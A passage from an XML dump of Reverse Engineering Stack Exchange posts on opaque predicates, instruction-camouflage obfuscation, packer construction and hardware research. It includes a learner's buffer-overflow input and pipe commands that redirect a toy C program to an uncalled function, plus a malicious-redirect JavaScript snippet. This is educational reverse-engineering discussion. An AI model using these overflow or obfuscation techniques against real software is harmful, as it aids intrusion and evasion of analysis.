runtime&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;xor with &lt;code&gt;expected_result ^ jump_target&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;blindly use the result to jump somewhere&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;thus, it might be impossible to tell in advance what the next instructions will be.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;mathematic functions&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;implement an asymptotic function in FPU&#xA;&lt;ul&gt;&#xA;&lt;li&gt;FPU is more likely to be unsupported or wrongly emulated/analysed than standard instructions&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;implement enough iteration to guarantee the result&#xA;&lt;ul&gt;&#xA;&lt;li&gt;many iterations might make an emulator run out of cycles&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;use the final result in a test, as a jump target, etc...&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-10T13:38:15.840" LastActivityDate="2013-04-10T13:38:15.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1671" PostTypeId="2" ParentId="1669" CreationDate="2013-04-09T08:14:12.730" Score="14" Body="&lt;p&gt;Not necessarily the predicate must be hard to evaluate. An opaque predicate is a condition which the result is known in advance by the programmer and that cannot be resolved statically (by a compiler, for example) and must be resolved dynamically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example I noticed in malware some years ago:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  SetErrorMode(100);&#xA;  if ( SetErrorMode(1024) == 100 )&#xA;    // Valid Path&#xA;  else&#xA;    // Invalid Path&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Without executing the program (or knowing how the Win32 API &lt;code&gt;SetErrorMode&lt;/code&gt; works) there is no way to determine which of the paths the program will take. However, as &lt;code&gt;SetErrorMode&lt;/code&gt; returns the last previous code set, the programmer knows before executing this piece of code that the 1st path is the only valid one.&lt;/p&gt;&#xA;" OwnerUserId="111" LastEditorUserId="245" LastEditDate="2013-04-17T04:59:37.643" LastActivityDate="2013-04-17T04:59:37.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1672" PostTypeId="1" AcceptedAnswerId="1675" CreationDate="2013-04-09T08:21:37.047" Score="3" ViewCount="410" Body="&lt;p&gt;I was trying to understand buffer overflow attacks using the following C program &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include&quot;stdio.h&quot;  &#xA;#include&quot;string.h&quot;   &#xA;void iwontprint()  &#xA;{  &#xA;    printf(&quot;i wont be printed!&quot;);  &#xA;}  &#xA;&#xA;void callme()  &#xA;{  &#xA;    char buffer[8];  &#xA;    gets(buffer);  &#xA;    puts(buffer);  &#xA;}  &#xA;&#xA;int main(int argc,int** argv)  &#xA;{  &#xA;    callme();  &#xA;    return 0;  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Loading up the program in GDB before calling the &lt;code&gt;gets(buffer)&lt;/code&gt; gives the following value of ESP : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xbffff4d4: 0xb7ff0590 0x080484db 0xb7fc1ff4 0xbffff4e8  &#xA;0xbffff4e4: 0x080484b6 0xbffff568 0xb7e79e46 0x00000001&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And after entering the input &lt;code&gt;123456789abc\x7c\x84\x04\x08&lt;/code&gt; I am getting totally different values in ESP :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xbffff4d4: 0xbffff4d8 0x34333231 0x38373635 0x63626139  &#xA;0xbffff4e4: 0x6337785c 0x3438785c 0x3430785c 0x3830785c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've already set &lt;code&gt;randomize_va_space = 0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat /proc/sys/kernel/randomize_va_space   &#xA;0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anybody provide any pointers as to what am I missing here ?&lt;/p&gt;&#xA;" OwnerUserId="1383" LastEditorUserId="189" LastEditDate="2013-04-09T14:26:40.667" LastActivityDate="2018-03-26T08:46:10.430" Title="Why is this string on the stack not exactly the one I entered?" Tags="|disassembly|gdb|buffer-overflow|" AnswerCount="2" CommentCount="1" ClosedDate="2013-04-10T13:53:31.473" ContentLicense="CC BY-SA 3.0" />
  <row Id="1673" PostTypeId="1" AcceptedAnswerId="1674" CreationDate="2013-04-09T08:27:22.040" Score="10" ViewCount="1239" Body="&lt;p&gt;I have an obfuscated binary which only print a simple &lt;code&gt;Hello World!&lt;/code&gt;&#xA;and exit like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Hello World!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, when I am looking at the assembly with &lt;code&gt;objdump&lt;/code&gt;, I cannot find any&#xA;call to &lt;code&gt;printf&lt;/code&gt; or &lt;code&gt;write&lt;/code&gt;, nor find the string &lt;code&gt;Hello World!&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0804840c &amp;lt;main&amp;gt;:&#xA; 804840c:       be 1e 84 04 08          mov    $0x804841e,%esi&#xA; 8048411:       89 f7                   mov    %esi,%edi&#xA; 8048413:       b9 26 00 00 00          mov    $0x26,%ecx&#xA; 8048418:       ac                      lods   %ds:(%esi),%al&#xA; 8048419:       34 aa                   xor    $0xaa,%al&#xA; 804841b:       aa                      stos   %al,%es:(%edi)&#xA; 804841c:       e2 fa                   loop   8048418 &amp;lt;main+0xc&amp;gt;&#xA; 804841e:       23 4f 29                and    0x29(%edi),%ecx&#xA; 8048421:       46                      inc    %esi&#xA; 8048422:       ae                      scas   %es:(%edi),%al&#xA; 8048423:       29 4e 5a                sub    %ecx,0x5a(%esi)&#xA; 8048426:       29 6e ae                sub    %ebp,-0x52(%esi)&#xA; 8048429:       c2 9c 2e                ret    $0x2e9c&#xA; 804842c:       ae                      scas   %es:(%edi),%al&#xA; 804842d:       a2 42 17 54 55          mov    %al,0x55541742&#xA; 8048432:       55                      push   %ebp&#xA; 8048433:       23 46 69                and    0x69(%esi),%eax&#xA; 8048436:       e2 cf                   loop   8048407 &amp;lt;frame_dummy+0x27&amp;gt;&#xA; 8048438:       c6 c6 c5                mov    $0xc5,%dh&#xA; 804843b:       8a fd                   mov    %ch,%bh&#xA; 804843d:       c5 d8 c6 ce 8b          vshufps $0x8b,%xmm6,%xmm4,%xmm1&#xA; 8048442:       a0 aa 90 90 90          mov    0x909090aa,%al&#xA; 8048447:       90                      nop&#xA; ...&#xA; 804844f:       90                      nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The obfuscation technique claimed to be used here is called &lt;em&gt;instruction&#xA;camouflage&lt;/em&gt; (see this &lt;a href=&quot;http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.125.5028&quot; rel=&quot;noreferrer&quot;&gt;paper&lt;/a&gt;). Can someone explain what is it and how does it works ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-04-15T13:17:21.830" LastActivityDate="2013-04-15T16:16:04.467" Title="What is &quot;instruction camouflage&quot; obfuscation?" Tags="|obfuscation|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1674" PostTypeId="2" ParentId="1673" CreationDate="2013-04-09T08:27:54.197" Score="12" Body="&lt;p&gt;Instruction camouflage is an obfuscation technique against simple naive static&#xA;analysis of the binary. The binary program is composed of two parts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A decoder&lt;/li&gt;&#xA;&lt;li&gt;An encoded payload&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When executed, the binary first goes to the decoder and decode the&#xA;payload that unveil the real assembly code. At the end, the decoder&#xA;jumps to the decoded payload and execute the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The benefit of this technique is that statically disassembling the&#xA;binary will not give you hints on what is really doing the program.&#xA;Somehow, it forces the analyst to execute first the decoder part (for&#xA;real or symbolically) and, then, look at the decoded payload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the proposed example, the decoder part is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0804840c &amp;lt;main&amp;gt;:&#xA; 804840c:       be 1e 84 04 08          mov    $0x804841e,%esi&#xA; 8048411:       89 f7                   mov    %esi,%edi&#xA; 8048413:       b9 26 00 00 00          mov    $0x26,%ecx&#xA; 8048418:       ac                      lods   %ds:(%esi),%al&#xA; 8048419:       34 aa                   xor    $0xaa,%al&#xA; 804841b:       aa                      stos   %al,%es:(%edi)&#xA; 804841c:       e2 fa                   loop   8048418 &amp;lt;main+0xc&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see that there is a loop between &lt;code&gt;0x8048418&lt;/code&gt; and &lt;code&gt;0x804841c&lt;/code&gt;&#xA;which apply a xor &lt;code&gt;0xaa&lt;/code&gt; to each byte in the payload (from &lt;code&gt;0x804841e&lt;/code&gt;&#xA;to  &lt;code&gt;0x804841e + 0x25 = 0x8048443&lt;/code&gt;, the loop counter is &lt;code&gt;%ecx&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the best way to know what is done in the payload is to take &lt;code&gt;gdb&lt;/code&gt;&#xA;and to set a breakpoint after the decoder has completed his task:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GNU gdb (GDB) 7.4.1-debian&#xA;Copyright (C) 2012 Free Software Foundation, Inc.&#xA;License GPLv3+: GNU GPL version 3 or later&#xA;(gdb) break main&#xA;Breakpoint 1 at 0x804840c&#xA;(gdb) run&#xA;Starting program: ./instruction_camouflage&#xA;&#xA;Breakpoint 1, 0x0804840c in main ()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Lets check that the code hasn't change.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) disas&#xA;Dump of assembler code for function main:&#xA;=&amp;gt; 0x0804840c &amp;lt;+0&amp;gt;: mov    $0x804841e,%esi&#xA;   0x08048411 &amp;lt;+5&amp;gt;: mov    %esi,%edi&#xA;   0x08048413 &amp;lt;+7&amp;gt;: mov    $0x26,%ecx&#xA;   0x08048418 &amp;lt;+12&amp;gt;:    lods   %ds:(%esi),%al&#xA;   0x08048419 &amp;lt;+13&amp;gt;:    xor    $0xaa,%al&#xA;   0x0804841b &amp;lt;+15&amp;gt;:    stos   %al,%es:(%edi)&#xA;   0x0804841c &amp;lt;+16&amp;gt;:    loop   0x8048418 &amp;lt;main+12&amp;gt;&#xA;   0x0804841e &amp;lt;+18&amp;gt;:    and    0x29(%edi),%ecx&#xA;   0x08048421 &amp;lt;+21&amp;gt;:    inc    %esi&#xA;   0x08048422 &amp;lt;+22&amp;gt;:    scas   %es:(%edi),%al&#xA;   0x08048423 &amp;lt;+23&amp;gt;:    sub    %ecx,0x5a(%esi)&#xA;   0x08048426 &amp;lt;+26&amp;gt;:    sub    %ebp,-0x52(%esi)&#xA;   0x08048429 &amp;lt;+29&amp;gt;:    ret    $0x2e9c&#xA;   0x0804842c &amp;lt;+32&amp;gt;:    scas   %es:(%edi),%al&#xA;   0x0804842d &amp;lt;+33&amp;gt;:    mov    %al,0x55541742&#xA;   0x08048432 &amp;lt;+38&amp;gt;:    push   %ebp&#xA;   0x08048433 &amp;lt;+39&amp;gt;:    and    0x69(%esi),%eax&#xA;   0x08048436 &amp;lt;+42&amp;gt;:    loop   0x8048407 &amp;lt;frame_dummy+39&amp;gt;&#xA;   0x08048438 &amp;lt;+44&amp;gt;:    mov    $0xc5,%dh&#xA;   0x0804843b &amp;lt;+47&amp;gt;:    mov    %ch,%bh&#xA;   0x0804843d &amp;lt;+49&amp;gt;:    vshufps $0x8b,%xmm6,%xmm4,%xmm1&#xA;   0x08048442 &amp;lt;+54&amp;gt;:    mov    0x909090aa,%al&#xA;   0x08048447 &amp;lt;+59&amp;gt;:    nop&#xA;...&#xA;   0x0804844f &amp;lt;+67&amp;gt;:    nop&#xA;End of assembler dump.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let's put a breakpoint just after the loop and continue till it is reached.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) break *0x0804841e&#xA;Breakpoint 2 at 0x804841e&#xA;(gdb) continue&#xA;Continuing.&#xA;&#xA;Breakpoint 2, 0x0804841e in main ()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, we should be able to access the code as it will be executed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) disas&#xA;Dump of assembler code for function main:&#xA;   0x0804840c &amp;lt;+0&amp;gt;: mov    $0x804841e,%esi&#xA;   0x08048411 &amp;lt;+5&amp;gt;: mov    %esi,%edi&#xA;   0x08048413 &amp;lt;+7&amp;gt;: mov    $0x26,%ecx&#xA;   0x08048418 &amp;lt;+12&amp;gt;:    lods   %ds:(%esi),%al&#xA;   0x08048419 &amp;lt;+13&amp;gt;:    xor    $0xaa,%al&#xA;   0x0804841b &amp;lt;+15&amp;gt;:    stos   %al,%es:(%edi)&#xA;   0x0804841c &amp;lt;+16&amp;gt;:    loop   0x8048418 &amp;lt;main+12&amp;gt;&#xA;=&amp;gt; 0x0804841e &amp;lt;+18&amp;gt;:    and    %ebp,%esp&#xA;   0x08048420 &amp;lt;+20&amp;gt;:    sub    $0x4,%esp&#xA;   0x08048423 &amp;lt;+23&amp;gt;:    and    $0xfffffff0,%esp&#xA;   0x08048426 &amp;lt;+26&amp;gt;:    add    $0x4,%esp&#xA;   0x08048429 &amp;lt;+29&amp;gt;:    push   $0x8048436&#xA;   0x0804842e &amp;lt;+34&amp;gt;:    call   0x80482f0 &amp;lt;puts@plt&amp;gt;&#xA;   0x08048433 &amp;lt;+39&amp;gt;:    mov    %ebp,%esp&#xA;   0x08048435 &amp;lt;+41&amp;gt;:    ret    &#xA;   0x08048436 &amp;lt;+42&amp;gt;:    dec    %eax&#xA;   0x08048437 &amp;lt;+43&amp;gt;:    gs&#xA;   0x08048438 &amp;lt;+44&amp;gt;:    insb   (%dx),%es:(%edi)&#xA;   0x08048439 &amp;lt;+45&amp;gt;:    insb   (%dx),%es:(%edi)&#xA;   0x0804843a &amp;lt;+46&amp;gt;:    outsl  %ds:(%esi),(%dx)&#xA;   0x0804843b &amp;lt;+47&amp;gt;:    and    %dl,0x6f(%edi)&#xA;   0x0804843e &amp;lt;+50&amp;gt;:    jb     0x80484ac &amp;lt;__libc_csu_init+76&amp;gt;&#xA;   0x08048440 &amp;lt;+52&amp;gt;:    and    %ecx,%fs:(%edx)&#xA;   0x08048443 &amp;lt;+55&amp;gt;:    add    %dl,-0x6f6f6f70(%eax)&#xA;   0x08048449 &amp;lt;+61&amp;gt;:    nop&#xA;   ...&#xA;   0x0804844f &amp;lt;+67&amp;gt;:    nop&#xA;End of assembler dump.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, still there is these strange instructions after the &lt;code&gt;ret&lt;/code&gt;, lets visualize it as a string.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x /s 0x08048436&#xA;0x8048436 &amp;lt;main+42&amp;gt;:     &quot;Hello World!\n&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, we found all the pieces of the program and how it works.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-04-15T13:18:54.163" LastActivityDate="2013-04-15T13:18:54.163" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="1675" PostTypeId="2" ParentId="1672" CreationDate="2013-04-09T08:36:54.473" Score="9" Body="&lt;p&gt;Your Stack is totally fine. Look more careful at the values:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x34333231 0x38373635 0x63626139 0x6337785c 0x3438785c 0x3430785c 0x3830785c&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which interpreted as an ascii string becomes this. literally:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;123456789abc\x7c\x84\x04\x08&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, it's exactly what you entered. And I mean by that, that for example &lt;code&gt;\x7c&lt;/code&gt; is the String &lt;code&gt;&quot;\x7c&quot;&lt;/code&gt; and not &lt;code&gt;&quot;|&quot;&lt;/code&gt;. Use this technique to send the values properly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;echo -e &quot;123456789abc\x7c\x84\x04\x08&quot; | ./yourbinary&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="145" LastEditDate="2013-04-09T10:30:40.193" LastActivityDate="2013-04-09T10:30:40.193" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1676" PostTypeId="1" AcceptedAnswerId="1678" CreationDate="2013-04-09T08:41:45.237" Score="4" ViewCount="429" Body="&lt;p&gt;I would like to know what is the simplest way to produce code binaries with instruction camouflage (see &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1673/what-is-a-instruction-camouflage-obfuscation&quot;&gt;this question&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem here is that you first have to produce a correct assembly code and then to hide it with a given method directly into the binary. Doing it by hand is quite painful, especially if you have to take care of the static jumps into the code. Right now, I am using &lt;a href=&quot;http://www.nasm.us/&quot; rel=&quot;nofollow noreferrer&quot;&gt;nasm&lt;/a&gt;, and more precisely its &lt;a href=&quot;http://www.nasm.us/xdoc/2.10.07/html/nasmdoc4.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;preprocessor&lt;/a&gt; to perform the camouflage operations. But, I wonder if there are better ways to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what tools or tricks do you use to produce such binaries ? &lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-04-15T13:19:50.027" Title="How to produce binaries with &quot;instruction camouflage&quot; obfuscation?" Tags="|tools|obfuscation|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="1677" PostTypeId="2" ParentId="1669" CreationDate="2013-04-09T08:42:03.733" Score="9" Body="&lt;p&gt;Sort of it also can be found in malicious obfuscated JavaScript code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;001     vz = 1;&#xA;002     var1 = 49;&#xA;003     var2 = var1;&#xA;004     if (var1 == var2){&#xA;005       document.location = &quot;http://path.to.malicious.website&quot;;&#xA;006     }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here You see attempt in line 001-004 declare vars and conditions, that meaningless, and present to change obfuscated code hash and to complicate automatic analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. this is very simple examples, for more complicated samples of opaque predicate in JS see DefenceCode &lt;a href=&quot;http://blog.defensecode.com/2012/10/diving-into-recent-0day-javascript.html&quot;&gt;blog post&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1334" LastActivityDate="2013-04-09T08:42:03.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1678" PostTypeId="2" ParentId="1676" CreationDate="2013-04-09T09:33:32.593" Score="8" Body="&lt;p&gt;In general what you do is that you make a new segment in the executable, change the entry point to your new segment. Your new segment has the decryption code for the original code and the changed entry point now means that the first code to execute when the executable is loaded is your decryption code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your encryption code then either maps a segment, usually at the address where the original executable segment was located, and decrypts the source segment into the mapped segment or it directly decrypts the segment in place. If your code decrypts the segment in place you need to make sure the remove any relocations from the original executable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In all cases, except if you get to map your decrypted executable segment at its original intended address, you need to do the relocations yourself after decryption so that the executable won't crash. Personally I would implement the relocations in order to support things like ASLR. After decryption and relocation you simply call into the original entry point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you do not have to create your encryption or &quot;masking&quot; code for a particular binary and applying it to arbitrary binaries in the future should be possible.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2013-04-09T09:46:52.047" LastActivityDate="2013-04-09T09:46:52.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1679" PostTypeId="2" ParentId="1669" CreationDate="2013-04-09T10:13:32.877" Score="21" Body="&lt;p&gt;The answers already in this thread are good ones.  In a nutshell, an opaque predicate is &quot;something that a program analysis might miss, if the program analysis is not sophisticated enough&quot;.  Denis' example was based on the inverse of constant propagation, and served as an anti-checksum mechanism.  Joxean's &lt;code&gt;SetErrorMode&lt;/code&gt; example was an environment-based opaque predicate that was used for dynamic anti-emulation.  Two of Ange's answers were also dynamic anti-emulation; based upon the environment, and based upon uncommon platform features.  Ange's other example was more like an anti-disassembly trick via indirect addressing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the academic literature, an opaque predicate is referred to as a branch that always executes in one direction, which is known to the creator of the program, and which is unknown a priori to the analyzer.  The notion of &quot;hardness&quot; of an opaque predicate is deliberately omitted from this definition.  Academic predicates are often based upon number-theoretic constructions, aliasing relationships, recursive data structures; basically anything that is commonly understood by program analysis researchers to cause problems for a program analysis tool.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My favorite researcher Mila Dalla Preda has shown that the ability for an abstract interpreter to break a given category of opaque predicate is related to the &quot;completeness&quot; of the domain with respect to the property tested by the predicate.  She demonstrates by using mod-k-based opaque predicates, and elicits a family of domains that are complete (i.e. incur no abstract precision loss) for mod-k with respect to common transformers (addition, multiplication, etc).  Then she explores the use of obscure theoretical constructions such as completeness refinement to automatically construct a domain for breaking a certain category of predicate.  See &lt;a href=&quot;http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.69.3653&amp;amp;rep=rep1&amp;amp;type=pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this paper&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="53" LastEditDate="2020-02-16T23:18:05.563" LastActivityDate="2020-02-16T23:18:05.563" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="1680" PostTypeId="2" ParentId="1672" CreationDate="2013-04-09T10:24:44.543" Score="4" Body="&lt;p&gt;Samurai's answer is correct , but put more clearly , your mistake is that you enter the literal string &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;123456789abc\x7c\x84\x04\x08&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where as what you probably want is something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;perl -e 'print &quot;123456789abc\x7c\x84\x04\x08&quot;' | ./yourbinary&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the first case the &lt;code&gt;\x7c\x84\x04\x08&lt;/code&gt; is just that, a 16 characters length string, where in the second case, the &lt;code&gt;\x&lt;/code&gt; escape sequence is actually interpreted and &lt;code&gt;\x7c\x84\x04\x08&lt;/code&gt; is printed as just 4 bytes.&lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="18945" LastEditDate="2018-03-26T08:46:10.430" LastActivityDate="2018-03-26T08:46:10.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1681" PostTypeId="1" CreationDate="2013-04-09T12:14:21.250" Score="12" ViewCount="655" Body="&lt;p&gt;When reverse engineering consumer hardware products, it can often be helpful to gain as much information as possible outside of the device itself, including:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Service manuals &lt;/li&gt;&#xA;&lt;li&gt;Installation/User manuals &lt;/li&gt;&#xA;&lt;li&gt;Circuit diagrams/block diagrams &lt;/li&gt;&#xA;&lt;li&gt;Description of operation &lt;/li&gt;&#xA;&lt;li&gt;Firmware images &lt;/li&gt;&#xA;&lt;li&gt;Any PC-based utilities &lt;/li&gt;&#xA;&lt;li&gt;Internal photographs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have found the following sources useful:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The manufacturer's site, including using google site search to find &quot;hidden&quot; documents&lt;/li&gt;&#xA;&lt;li&gt;Using specific google searches, e.g. limiting to PDF files and &quot;engineers code&quot;&lt;/li&gt;&#xA;&lt;li&gt;Using google searches to find open directories (&quot;Parent directory&quot; finds these) containing manuals and other documentation&lt;/li&gt;&#xA;&lt;li&gt;Using the &lt;a href=&quot;http://transition.fcc.gov/oet/ea/fccid/&quot;&gt;FCC database&lt;/a&gt; to find test results.&lt;/li&gt;&#xA;&lt;li&gt;Finding any relevant patents&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Are there any other useful sources for finding out such information?&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2015-03-04T07:42:00.443" Title="What sources do you use for gaining information/intelligence about hardware products?" Tags="|hardware|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1682" PostTypeId="2" ParentId="1681" CreationDate="2013-04-09T14:05:51.557" Score="6" Body="&lt;p&gt;Not applicable to every device, but always worth checking if the company used any open source software in the design and look at the code provided.  Even if most of the device is proprietary, the open source code might have useful pointers towards basic hardware functionality or implementation details.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example might be a manufacturer that has customized u-boot to function with their board and included a memory map of flash in the source. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the google searches front, some chip manufacturers use a very predictable document number format that can be searched for, or use certain phrases that are very uncommon elsewhere, such as &quot;proprietary and confidential&quot; on all processor datasheets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if a company is particularly stingy with technical details about their device, I expand my search to their business partners.  For example, a processor manufacturer identified that their products were used in Company X's products in marketing materials, even when no literature directly from Company X mentioned anything about what chip or architecture they were using.&lt;/p&gt;&#xA;" OwnerUserId="283" LastActivityDate="2013-04-09T14:05:51.557" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1683" PostTypeId="2" ParentId="1681" CreationDate="2013-04-09T17:43:22.380" Score="6" Body="&lt;p&gt;Personally my experience is pretty much limited to attempts to reverse engineer electronic hardware, so I'll limit my answer to that area as well. What I've found useful is&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;manufacturers aren't exactly the likeliest to provide too much useful information, but it's always worth to peak into manuals or check out their websites.&lt;/li&gt;&#xA;&lt;li&gt;check on the web, but especially on Youtube and repair sites such as &lt;a href=&quot;http://www.ifixit.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ifixit.com&lt;/a&gt; for instructions on how to non-destructively open a device. This usually goes already a long way in gathering additional intelligence about the device.&lt;/li&gt;&#xA;&lt;li&gt;assuming you have firmware-upgradeable hardware (TV, router, etc.), you should check out the &lt;a href=&quot;http://code.google.com/p/firmware-mod-kit/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;firmware-mod-kit&lt;/code&gt;&lt;/a&gt; and the related &lt;a href=&quot;http://code.google.com/p/binwalk/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;binwalk&lt;/code&gt;&lt;/a&gt; to see what information you can retrieve from the firmware images.&lt;/li&gt;&#xA;&lt;li&gt;even if you don't have a firmware, but the device you are accessing has some kind of network connectivity, you could set up a gateway with DHCP (I prefer Linux/Ubuntu for these cases) and check the ARP cache (command &lt;code&gt;arp&lt;/code&gt;) which will tell you the MAC address (can often be matched with the one printed on packaging or the device itself) and thereby find the IPv4 address handed out to it. From there on &lt;code&gt;nmap&lt;/code&gt;, &lt;code&gt;netcat&lt;/code&gt;, &lt;code&gt;telnet&lt;/code&gt; and &lt;code&gt;tcpdump&lt;/code&gt;/&lt;code&gt;libpcap&lt;/code&gt; are your best friends. If it's wireless you can provide an access point that logs stuff and sniffs traffic and such.&lt;/li&gt;&#xA;&lt;li&gt;if your device plugs into a port such as USB and you have a protocol analyzer (expensive stuff) things can get easier. But sometimes results aren't clear or you simply have no more than an oscilloscope to investigate the protocol. &lt;strong&gt;Beware&lt;/strong&gt; of bus types such as PCMCIA and Thunderbolt where the device itself has access to your computer's memory and other resources. If the device is malicious it could spy on you or do other weird stuff. Or am I just too paranoid? After all you said consumer hardware :)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;on that note, a &quot;simple USB mouse&quot; could also pose as USB keyboard to the computer and perhaps USB storage and the keyboard would do fancy things like enter commands and execute stuff from the storage. So &lt;em&gt;never ever plug&lt;/em&gt; a USB key you find into one of your devices unless you have a special test machine for the purpose.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;older hardware often comes with actual layouts for the PCBs etc, but rarely with an actual bill of materials. Still, it gives 